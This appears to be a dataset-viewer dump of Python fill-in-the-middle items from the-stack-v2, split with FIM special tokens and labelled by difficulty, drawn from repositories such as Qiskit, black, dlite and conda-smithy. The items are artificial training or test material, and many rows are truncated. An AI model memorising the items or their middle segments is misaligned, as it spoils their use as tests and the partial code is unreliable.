"path": "/python_src/snips_nlu_ros/snips_wrapper.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Parse the string and return intent
"""
goal = NLUGoal()
goal.text = str(text)
self._nlu_client.send_goal_and_wait(goal)
result = self._nlu_client.get_result()
#no intent found, return None
if result.intentName == "":
... | code_fim | medium | {
"lang": "python",
"repo": "CMU-TBD/snips_nlu_ros",
"path": "/python_src/snips_nlu_ros/snips_wrapper.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> with self.subTest("Check second step: Tapering"):
tapered_op = z2_symmetries.taper(qubit_op)
self.assertEqual(tapered_op, tapered_op_secondstep)
def test_find_z2_symmetries_X_or_I(self):
"""Testing a more complex cases of the find_z2_symmetries method to reach ... | code_fim | hard | {
"lang": "python",
"repo": "1ucian0/qiskit-terra",
"path": "/test/python/quantum_info/test_sparse_z2_symmetries.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 1ucian0/qiskit-terra path: /test/python/quantum_info/test_sparse_z2_symmetries.py
# This code is part of Qiskit.
#
# (C) Copyright IBM 2021.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of ... | code_fim | hard | {
"lang": "python",
"repo": "1ucian0/qiskit-terra",
"path": "/test/python/quantum_info/test_sparse_z2_symmetries.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> tapered_op = z2_symmetries.taper(qubit_op)[1]
primitive = SparsePauliOp.from_list(
[
("I", -1.0424710218959303),
("Z", -0.7879673588770277),
]
)
expected_op = primitive
self.assertEqual(tapered_op, expected_op)... | code_fim | hard | {
"lang": "python",
"repo": "1ucian0/qiskit-terra",
"path": "/test/python/quantum_info/test_sparse_z2_symmetries.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# Push to minio
aa6060 = dlite.get_instance("aa6060")
aa6082 = dlite.get_instance("aa6082")
with dlite.Storage(url) as s:
s.save(aa6060.meta) # Remember to also save metadata
s.save(aa6060)
s.save(aa6082)<|fim_prefix|># repo: SINTEF/dlite path: /examples/minio_storage/store.py
from pathlib ... | code_fim | hard | {
"lang": "python",
"repo": "SINTEF/dlite",
"path": "/examples/minio_storage/store.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># Push to minio
aa6060 = dlite.get_instance("aa6060")
aa6082 = dlite.get_instance("aa6082")
with dlite.Storage(url) as s:
s.save(aa6060.meta) # Remember to also save metadata
s.save(aa6060)
s.save(aa6082)<|fim_prefix|># repo: SINTEF/dlite path: /examples/minio_storage/store.py
from pathlib i... | code_fim | hard | {
"lang": "python",
"repo": "SINTEF/dlite",
"path": "/examples/minio_storage/store.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SINTEF/dlite path: /examples/minio_storage/store.py
from pathlib import Path
import dlite
# Add existing entities to storage path
thisdir = Path(__file__).resolve().parent
entitydir = thisdir / ".." / "entities"
dlite.storage_path.append(entitydir)
<|fim_suffix|>
# Push to minio
aa6060 = dlit... | code_fim | hard | {
"lang": "python",
"repo": "SINTEF/dlite",
"path": "/examples/minio_storage/store.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>base_cmd = [str(ENV_BIN / "black")]
if BLACK_ARGS:
# TODO: remove after a while since this is deprecated in favour of SRC + OPTIONS.
proc = run(
[*base_cmd, *shlex.split(BLACK_ARGS)],
stdout=PIPE,
stderr=STDOUT,
encoding="utf-8",
)
else:
proc = run(
... | code_fim | hard | {
"lang": "python",
"repo": "psf/black",
"path": "/action/main.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
base_cmd = [str(ENV_BIN / "black")]
if BLACK_ARGS:
# TODO: remove after a while since this is deprecated in favour of SRC + OPTIONS.
proc = run(
[*base_cmd, *shlex.split(BLACK_ARGS)],
stdout=PIPE,
stderr=STDOUT,
encoding="utf-8",
)
else:
proc = run(
... | code_fim | hard | {
"lang": "python",
"repo": "psf/black",
"path": "/action/main.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: psf/black path: /action/main.py
import os
import shlex
import shutil
import sys
from pathlib import Path
from subprocess import PIPE, STDOUT, run
ACTION_PATH = Path(os.environ["GITHUB_ACTION_PATH"])
ENV_PATH = ACTION_PATH / ".black-env"
ENV_BIN = ENV_PATH / ("Scripts" if sys.platform == "win32" ... | code_fim | hard | {
"lang": "python",
"repo": "psf/black",
"path": "/action/main.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: imshawan/twitter-chain-bot path: /regex.py
# TEST FILE
import re
<|fim_suffix|>example_tweet = "Check this out. https://linkedin.com"
text_without_url = url_pattern.sub(r"", example_tweet)<|fim_middle|>url_pattern = re.compile(r"http\S+", re.DOTALL)
| code_fim | easy | {
"lang": "python",
"repo": "imshawan/twitter-chain-bot",
"path": "/regex.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>example_tweet = "Check this out. https://linkedin.com"
text_without_url = url_pattern.sub(r"", example_tweet)<|fim_prefix|># repo: imshawan/twitter-chain-bot path: /regex.py
# TEST FILE
import re
<|fim_middle|>url_pattern = re.compile(r"http\S+", re.DOTALL)
| code_fim | easy | {
"lang": "python",
"repo": "imshawan/twitter-chain-bot",
"path": "/regex.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def signals_to_target_weights(self, signals: pd.DataFrame, prices: pd.DataFrame):
# Step 4: equal weights
daily_signal_counts = signals.abs().sum(axis=1)
weights = signals.div(daily_signal_counts, axis=0).fillna(0)
# Step 5: Rebalance quarterly
# Resample daily... | code_fim | hard | {
"lang": "python",
"repo": "quantrocket-codeload/qval",
"path": "/qval/qval.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: quantrocket-codeload/qval path: /qval/qval.py
# Copyright 2020 QuantRocket LLC - All Rights Reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.... | code_fim | hard | {
"lang": "python",
"repo": "quantrocket-codeload/qval",
"path": "/qval/qval.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # keep unique elements (stable)
train_aug = [train_aug[i] for i in \
sorted(np.unique(train_aug, return_index=True)[1])]
self.files['train_aug'] = train_aug
set_diff = set(self.files['val']) - set(train_aug) # remove overlap
self.files['tra... | code_fim | hard | {
"lang": "python",
"repo": "zhechen/PLARD",
"path": "/ptsemseg/loader/pascal_voc_loader.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: zhechen/PLARD path: /ptsemseg/loader/pascal_voc_loader.py
import os
from os.path import join as pjoin
import collections
import json
import torch
import numpy as np
import scipy.misc as m
import scipy.io as io
import matplotlib.pyplot as plt
import glob
from tqdm import tqdm
from torch.utils imp... | code_fim | hard | {
"lang": "python",
"repo": "zhechen/PLARD",
"path": "/ptsemseg/loader/pascal_voc_loader.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> Args:
mask (np.ndarray): raw segmentation label image of dimension
(M, N, 3), in which the Pascal classes are encoded as colours.
Returns:
(np.ndarray): class map with dimensions (M,N), where the value at
a given location is the integer de... | code_fim | hard | {
"lang": "python",
"repo": "zhechen/PLARD",
"path": "/ptsemseg/loader/pascal_voc_loader.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hadim/conda-smithy path: /conda_smithy/feedstock_io.py
from contextlib import contextmanager
import os
import shutil
def get_repo(path, search_parent_directories=True):
repo = None
try:
import git
repo = git.Repo(
path,
search_parent_directories=s... | code_fim | hard | {
"lang": "python",
"repo": "hadim/conda-smithy",
"path": "/conda_smithy/feedstock_io.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def set_mode_file(filename, mode):
repo = get_repo(filename)
if repo:
blob = get_file_blob(repo, filename)
blob.mode |= mode
repo.index.add([blob])
os.chmod(filename, mode)
@contextmanager
def write_file(filename):
with open(filename, "w") as fh:
yield f... | code_fim | medium | {
"lang": "python",
"repo": "hadim/conda-smithy",
"path": "/conda_smithy/feedstock_io.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
@contextmanager
def write_file(filename):
with open(filename, "w") as fh:
yield fh
repo = get_repo(filename)
if repo:
repo.index.add([filename])
def remove_file(filename):
if os.path.exists(filename):
repo = get_repo(filename)
if repo:
repo.i... | code_fim | hard | {
"lang": "python",
"repo": "hadim/conda-smithy",
"path": "/conda_smithy/feedstock_io.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HafeezRai/appscale path: /AdminServer/appscale/admin/instance_manager/projects_manager.py
""" Keeps track of details for each active version. """
import json
import logging
import os
from tornado.ioloop import IOLoop
from appscale.common.async_retrying import (
retry_children_watch_coroutine... | code_fim | hard | {
"lang": "python",
"repo": "HafeezRai/appscale",
"path": "/AdminServer/appscale/admin/instance_manager/projects_manager.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def update_projects(self, new_projects_list):
""" Establishes watches for all existing projects.
Args:
new_projects_list: A fresh list of strings specifying existing
project IDs.
"""
to_stop = [project for project in self if project not in new_projects_list]
for projec... | code_fim | hard | {
"lang": "python",
"repo": "HafeezRai/appscale",
"path": "/AdminServer/appscale/admin/instance_manager/projects_manager.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> for p0i, p1i, ei in zip(encoded_p0, encoded_p1, self):
if ei != self.wildcard:
if p1i not in ei or p0i == p1i:
return False
return True
def subsumes(self, other: Effect) -> bool:
return all(ei.incorporates(oi) for ei, oi in zip(... | code_fim | hard | {
"lang": "python",
"repo": "ParrotPrediction/pyalcs",
"path": "/lcs/agents/racs/Effect.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ParrotPrediction/pyalcs path: /lcs/agents/racs/Effect.py
from __future__ import annotations
from copy import copy
from lcs import Perception
from lcs.representations.visualization import visualize
from . import Configuration
from .. import PerceptionString
class Effect(PerceptionString):
... | code_fim | hard | {
"lang": "python",
"repo": "ParrotPrediction/pyalcs",
"path": "/lcs/agents/racs/Effect.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> operations = [
migrations.AddField(
model_name="datadownloadrequest",
name="downloaded",
field=models.DateTimeField(
blank=True, null=True, verbose_name="downloaded"
),
),
]<|fim_prefix|># repo: modelbrouwers/modelbrou... | code_fim | medium | {
"lang": "python",
"repo": "modelbrouwers/modelbrouwers",
"path": "/src/brouwers/users/migrations/0005_datadownloadrequest_downloaded.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: modelbrouwers/modelbrouwers path: /src/brouwers/users/migrations/0005_datadownloadrequest_downloaded.py
# Generated by Django 1.11.11 on 2018-05-25 20:05
from django.db import migrations, models
<|fim_suffix|> dependencies = [
("users", "0004_datadownloadrequest"),
]
opera... | code_fim | easy | {
"lang": "python",
"repo": "modelbrouwers/modelbrouwers",
"path": "/src/brouwers/users/migrations/0005_datadownloadrequest_downloaded.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: CADWRDeltaModeling/schimpy path: /schimpy/subset_schism_output.py
# -*- coding: utf-8 -*-
"""
Created on Wed Oct 27 11:41:00 2021
@author: babban
"""
from osgeo import ogr
from shapely.geometry import shape, Point
import json
import xarray as xr
from math import isnan
import numpy a... | code_fim | hard | {
"lang": "python",
"repo": "CADWRDeltaModeling/schimpy",
"path": "/schimpy/subset_schism_output.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> nEdgesROI = len(edgesinROI)
#***********************************************************************
#3. Build face and edge node indices for subsetted regions.
#3a. ---Faces---
face_to_nodes_local = data['SCHISM_hgrid_face_nodes'].sel(nSCHISM_hgrid_face=faces... | code_fim | hard | {
"lang": "python",
"repo": "CADWRDeltaModeling/schimpy",
"path": "/schimpy/subset_schism_output.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: haifengat/hfpy path: /hfpy/order.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
__title__ = ''
__author__ = 'HaiFeng'
__mtime__ = '2016/8/16 '
"""
import time
from .structs import DirectType, OffsetType
class OrderItem(object):
"""策略信号"""
def __init__(self):
"""Constructo... | code_fim | hard | {
"lang": "python",
"repo": "haifengat/hfpy",
"path": "/hfpy/order.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
'''开仓到当前K线的数量(0开始)-多'''
'''开仓到当前K线的数量(0开始)-空'''
self.IndexEntryShort = 0.0
'''开仓到当前K线的数量(0开始)-空'''
'''最后开仓到当前K线的数量(0开始)-多'''
self.IndexLastEntryLong = -1
'''最后开仓到当前K线的数量(0开始)-多'''
'''最后开仓到当前K线的数量(0开始)-空'''
self.IndexLastEntryShort = ... | code_fim | hard | {
"lang": "python",
"repo": "haifengat/hfpy",
"path": "/hfpy/order.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''开仓价格-空'''
'''平仓时间-多'''
self.ExitDateLong = ''
'''平仓时间-多'''
'''平仓时间-空'''
self.ExitDateShort = ''
'''平仓时间-空'''
'''平仓价格-多'''
self.ExitPriceLong = 0.0
'''平仓价格-多'''
'''平仓价格-空'''
self.ExitPriceShort = 0.0
'... | code_fim | hard | {
"lang": "python",
"repo": "haifengat/hfpy",
"path": "/hfpy/order.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: M-Ekrim/codeSignal path: /tournaments/bfsDistancesUnweightedGraph/bfsDistancesUnweightedGraph.py
def bfsDistancesUnweightedGraph(matrix, startVertex):
<|fim_suffix|> while queue:
current = queue.pop()
for nextVertex in range(n):
if -1 == result[nextVertex] and matr... | code_fim | medium | {
"lang": "python",
"repo": "M-Ekrim/codeSignal",
"path": "/tournaments/bfsDistancesUnweightedGraph/bfsDistancesUnweightedGraph.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> while queue:
current = queue.pop()
for nextVertex in range(n):
if -1 == result[nextVertex] and matrix[current][nextVertex]:
queue.appendleft(nextVertex)
result[nextVertex] = 1 + result[current]
return result<|fim_prefix|># repo: M-Ekrim... | code_fim | medium | {
"lang": "python",
"repo": "M-Ekrim/codeSignal",
"path": "/tournaments/bfsDistancesUnweightedGraph/bfsDistancesUnweightedGraph.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> for nextVertex in range(n):
if -1 == result[nextVertex] and matrix[current][nextVertex]:
queue.appendleft(nextVertex)
result[nextVertex] = 1 + result[current]
return result<|fim_prefix|># repo: M-Ekrim/codeSignal path: /tournaments/bfsDistancesUnwe... | code_fim | medium | {
"lang": "python",
"repo": "M-Ekrim/codeSignal",
"path": "/tournaments/bfsDistancesUnweightedGraph/bfsDistancesUnweightedGraph.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ru8zj312/Machine-Learning path: /generative-waifu-network/waifunet.py
import tensorflow as tf
import tensorflow.contrib.slim as slim
import numpy as np
import math
import sys
from generator_network import *
from discriminator_network import *
from common import *
def gen_image_processing(gan_ou... | code_fim | hard | {
"lang": "python",
"repo": "ru8zj312/Machine-Learning",
"path": "/generative-waifu-network/waifunet.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.